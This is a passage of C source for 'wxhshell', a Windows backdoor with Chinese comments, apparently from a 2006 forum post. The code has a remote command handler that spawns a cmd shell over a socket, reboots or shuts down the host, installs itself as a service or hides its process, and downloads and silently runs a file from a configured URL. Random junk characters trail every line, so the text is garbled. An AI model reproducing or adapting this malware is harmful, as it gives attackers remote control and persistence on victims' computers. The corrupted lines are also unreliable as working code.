  else { >c?Z.of  
F%t`dz!L  
    switch(cmd[0]) { r+;op_  
  c Q|nL  
  // 帮助 /A4zR  
  case '?': { a&p|>,WS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tD.md _E  
    break; |28z4.  
  }  =h\,-8  
  // 安装 ;dNKe.`Dg  
  case 'i': { &hEtVkK  
    if(Install()) 7g cr$&+e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JV Fn=Mw  
    else _1 f!9ghT\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \SS1-UbL  
    break; [ K;3Qf)  
    } |#Bz&T  
  // 卸载 ]i)m   
  case 'r': { (u+3{Eb  
    if(Uninstall()) 5vxJ|Hse@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &[}b HX /  
    else r:2G11[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +HQX]t:Y  
    break; %vDN{%h8  
    } 5\V>Sj(  
  // 显示 wxhshell 所在路径 f+j\,LJ  
  case 'p': { &aqF ||v%)  
    char svExeFile[MAX_PATH]; D|@*HX@_Xp  
    strcpy(svExeFile,"\n\r"); G< l+94(  
      strcat(svExeFile,ExeFile); Jc"xH~,  
        send(wsh,svExeFile,strlen(svExeFile),0); 61HU_!A8S  
    break; iF?4G^  
    } \L-o>O  
  // 重启 eYMp@Cx  
  case 'b': { 0 Ji>dr n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !v;N@C3C  
    if(Boot(REBOOT)) O{uc  h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !jGe_xB}~  
    else { ,&rlt+wE  
    closesocket(wsh); ;"$Wfy  
    ExitThread(0); a.#`>  
    } UR44 iA]  
    break; Ds? @ LE|  
    } }9<pLk  
  // 关机 ~tWIVj{  
  case 'd': { h5e(Avk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4!64S5(7t  
    if(Boot(SHUTDOWN)) lM~ 3yBy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OaY.T  
    else { P3UU~w+s  
    closesocket(wsh); f^b.~jXSR}  
    ExitThread(0); ;fw}<M!6  
    } 8i/5L=a"`  
    break; '/%]B@!  
    } zgXg-cr  
  // 获取shell +Kw:z?  
  case 's': { mN?y\GB  
    CmdShell(wsh); N"1o> !  
    closesocket(wsh); d(9ZopJrQ  
    ExitThread(0); @&#k['c  
    break; SEa'>UG  
  } $L7Z_JD5  
  // 退出 k!l\|~  
  case 'x': { tBC`(7E}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v1h\ 6r'  
    CloseIt(wsh); mQdF+b1o  
    break; r==d^  
    } RC'4%++Nz  
  // 离开 2wLnRP`*  
  case 'q': { /.P9n9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]r|sU.Vl  
    closesocket(wsh); Z;Q2tT /F  
    WSACleanup(); _ p%=RIR  
    exit(1); uF,F<%d  
    break; "159Q  
        } wV8_O)[  
  } 3m%oXT  
  } C+o1.#]JM  
j5\z7  
  // 提示信息 x7\b-EC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]!CMo+  
} O(x1Ja,&  
  } Q*4{2oQ  
B' }h6ZH  
  return; 9U~fc U6  
} U )kl !  
>T84NFdz+  
// shell模块句柄 Buc{dcL/  
int CmdShell(SOCKET sock) NULew]:5  
{ hOFC8g  
STARTUPINFO si; O0^m_  
ZeroMemory(&si,sizeof(si)); )Y4;@pEU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W]Bc7JM]T+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e}lF#$  
PROCESS_INFORMATION ProcessInfo; 7PTw'+{  
char cmdline[]="cmd"; ) uM*`%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Qtyv  
  return 0; jW]Q-  
} BoJpf8e'-e  
Td,2.YMQ  
// 自身启动模式 zF: :?L~  
int StartFromService(void) Qa`+-W u8  
{ U{1%ldOJ%  
typedef struct lw+54lZX|  
{ ob3)bI oM  
  DWORD ExitStatus; _[)f<`!g_V  
  DWORD PebBaseAddress; Hk&op P9)  
  DWORD AffinityMask; ^wass_8  
  DWORD BasePriority; qwhDv+o  
  ULONG UniqueProcessId; mVXwU](N  
  ULONG InheritedFromUniqueProcessId; R+sv?4k  
}   PROCESS_BASIC_INFORMATION; p1F{ v^  
y{>T['"@  
PROCNTQSIP NtQueryInformationProcess; S\76`Ot  
u~rPqBT{d3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q|KD$2rB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /]U),LbN  
oYx4+xH/  
  HANDLE             hProcess; ?)NgODU  
  PROCESS_BASIC_INFORMATION pbi; GVT| fE  
6JgbJbUi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n4XEyCrD  
  if(NULL == hInst ) return 0; ;t~Y>,  
"2 \},o9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pTB1I3=.u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )7c/i+FsC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2CMWJi  
c1tM(]&  
  if (!NtQueryInformationProcess) return 0; >o:y.2yCe  
KWS\iu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HIGTo\]Z  
  if(!hProcess) return 0; 8u%rh[g'  
QLxe1[qI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D :)HK D.  
FPb4VJ|xm  
  CloseHandle(hProcess); lvOM1I  
,_K y'B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -6W$@,K  
if(hProcess==NULL) return 0; P(o GNKAS  
4V<.:.k  
HMODULE hMod; 9y'To JZ6  
char procName[255]; ppuJC ' GW  
unsigned long cbNeeded; Y sDai<  
%y)]Q|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  sWyx_  
F4NM q&_  
  CloseHandle(hProcess); 'QSj-  
=Q,D3F -+f  
if(strstr(procName,"services")) return 1; // 以服务启动 _U|rTil  
Ddh  
  return 0; // 注册表启动 (}RTHpD  
} lLur.f  
T O&^%d  
// 主模块 QsX`IYk  
int StartWxhshell(LPSTR lpCmdLine) M1z ?E@kz  
{ Qo/pz2N  
  SOCKET wsl; v65]$%F?  
BOOL val=TRUE; lFp:F5  
  int port=0; FwE<_hq//  
  struct sockaddr_in door; v4qpE!W27~  
:x,dYJm  
  if(wscfg.ws_autoins) Install(); u g_c}Nv=Y  
i,zZJ=a$  
port=atoi(lpCmdLine); a8YFH$Xh  
!a4`SjOgu  
if(port<=0) port=wscfg.ws_port; ')T*cLQ><  
O]XgA0]  
  WSADATA data; T |&u?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PYwGGB-  
:IO"' b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lDL(,ZZS`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~\*wt(o  
  door.sin_family = AF_INET; !'C8sNs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n5 <B*  
  door.sin_port = htons(port); ]k$:sX  
qgs:9V xF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $azK M,<q  
closesocket(wsl); _1jbNQa  
return 1; aI>F8R?  
} !gL1  
G?^w <  
  if(listen(wsl,2) == INVALID_SOCKET) { z5_jx&^Z  
closesocket(wsl); \j<aFOT(  
return 1; A4*D3\>%u  
} D;hJK-Y  
  Wxhshell(wsl); 6>3zD)tG  
  WSACleanup(); de9e7.(2  
zjTCq; G  
return 0; E9w"?_A)  
IrIW>r} -  
} l*Q OM  
V`0Y p  
// 以NT服务方式启动 iA|n\a~ny,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hh$i1n  
{ 4}Y? :R  
DWORD   status = 0; ?Ld:HE  
  DWORD   specificError = 0xfffffff; T2A74>Nw  
8 .&P4u i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sY[!=`@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .zy2_3:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o{' J O3  
  serviceStatus.dwWin32ExitCode     = 0; /eBcPu"[Vb  
  serviceStatus.dwServiceSpecificExitCode = 0; aI;fNy /K  
  serviceStatus.dwCheckPoint       = 0; <'j ygZ(  
  serviceStatus.dwWaitHint       = 0; #'m#Q6`  
<vzU}JA\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =I9hGj6  
  if (hServiceStatusHandle==0) return; ?es9j]  
/VFQbJ+`  
status = GetLastError(); |}: D_TX  
  if (status!=NO_ERROR) [fJxbr"  
{ + jN)$Y3Ya  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bnz}:te}  
    serviceStatus.dwCheckPoint       = 0; gF]IAZCi  
    serviceStatus.dwWaitHint       = 0; ?IDkDv!na~  
    serviceStatus.dwWin32ExitCode     = status; DG=_E\"#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; m:I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PWV+ M@  
    return; iA4VT,  
  } .B! L+M< [  
3!Mb<W.3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; - v=ndJ.  
  serviceStatus.dwCheckPoint       = 0; 1`1Jn*|TI  
  serviceStatus.dwWaitHint       = 0; %+dRjG~TB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6|Crc$4l  
} "Z"`X3,-z  
 "2 }n(8  
// 处理NT服务事件,比如:启动、停止 Q@s G6 iz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {\ VmNnw  
{ /AIFgsaY  
switch(fdwControl) ; X/'ujg  
{ yn2k!2]&T<  
case SERVICE_CONTROL_STOP: m~@Lt~LZs  
  serviceStatus.dwWin32ExitCode = 0; G&yF9s)Lvs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^J@ Xsl  
  serviceStatus.dwCheckPoint   = 0; ;?gR,AKZ  
  serviceStatus.dwWaitHint     = 0; G[ q<P  
  { yg%T{hyzH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (OG>=h8?  
  } CelM~W$=u  
  return; 5(DnE?}vo  
case SERVICE_CONTROL_PAUSE: _z3^.QP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6a6N$v"  
  break; ]2z Gb5s"  
case SERVICE_CONTROL_CONTINUE: n* z;%'0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lf,C5 0  
  break; <$ %Y#I'zX  
case SERVICE_CONTROL_INTERROGATE: v8THJf  
  break; UmCIjwk  
}; zENo2#{_N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /j:-GJb*!u  
} ]r1Lr{7^S  
af/;Dr@  
// 标准应用程序主函数 >;X^+JH!)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7v(<<>  
{ wHErF #xo  
z6OJT6<'  
// 获取操作系统版本 !M k]%  
OsIsNt=GetOsVer(); Z?'?+48xv4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wp=:|J   
0urM@/j+  
  // 从命令行安装 B)ibxM(n*  
  if(strpbrk(lpCmdLine,"iI")) Install(); %U$%x  
(P nrY~9  
  // 下载执行文件 IUy5=Sl   
if(wscfg.ws_downexe) { {"^#CSi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iu'rc/=V  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3]/Y= A  
} `{\10j*B  
;7yt,b5&C  
if(!OsIsNt) { v?4MndR  
// 如果时win9x,隐藏进程并且设置为注册表启动 j`"cU$NRM  
HideProc(); _MGhG{p7t  
StartWxhshell(lpCmdLine); Il#9t?/  
} n 4EZy<~m  
else zj'uKBDl  
  if(StartFromService()) 5?MKx!%  
  // 以服务方式启动 !%YV0O0  
  StartServiceCtrlDispatcher(DispatchTable); :;Wh!8+j  
else G6j9,#2@  
  // 普通方式启动 $!"*h  
  StartWxhshell(lpCmdLine); v:Z.8m8D  
FuO'%3;c  
return 0; gx6$:j;   
}
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只看该作者 1 发表于: 2006-10-10
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